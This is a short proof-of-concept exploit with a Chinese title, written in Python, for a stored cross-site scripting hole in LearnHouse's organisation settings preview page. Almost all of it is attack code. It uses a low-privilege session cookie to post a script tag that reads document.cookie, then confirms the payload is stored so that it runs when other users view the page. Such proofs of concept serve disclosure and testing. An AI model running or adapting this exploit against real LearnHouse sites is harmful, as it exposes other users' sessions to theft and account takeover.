CVE-2025-12269 LearnHouse账户设置页面跨站脚本漏洞

import requests # CVE-2025-12269 PoC - Stored XSS in LearnHouse # Target: LearnHouse <= 98dfad76aad70711a8113f6c1fdabfccf10509ca # Endpoint: /dash/org/settings/previews target_url = "http://target-server/dash/org/settings/previews" # Malicious payload for XSS xss_payload = "<script>alert(document.cookie)</script>" # Authenticated session (low-privilege user) session = requests.Session() session.headers.update({ 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': 'session=YOUR_SESSION_TOKEN' }) # Step 1: Submit malicious payload to settings preview data = { 'preview_field': xss_payload, 'action': 'save_preview' } response = session.post(target_url, data=data) # Step 2: Verify XSS is stored if response.status_code == 200: check_url = "http://target-server/dash/org/settings/previews" check_response = session.get(check_url) if xss_payload in check_response.text: print("[+] XSS payload successfully stored!") print("[+] Payload will execute when viewed by other users") else: print("[-] XSS payload not found in response") else: print("[-] Request failed")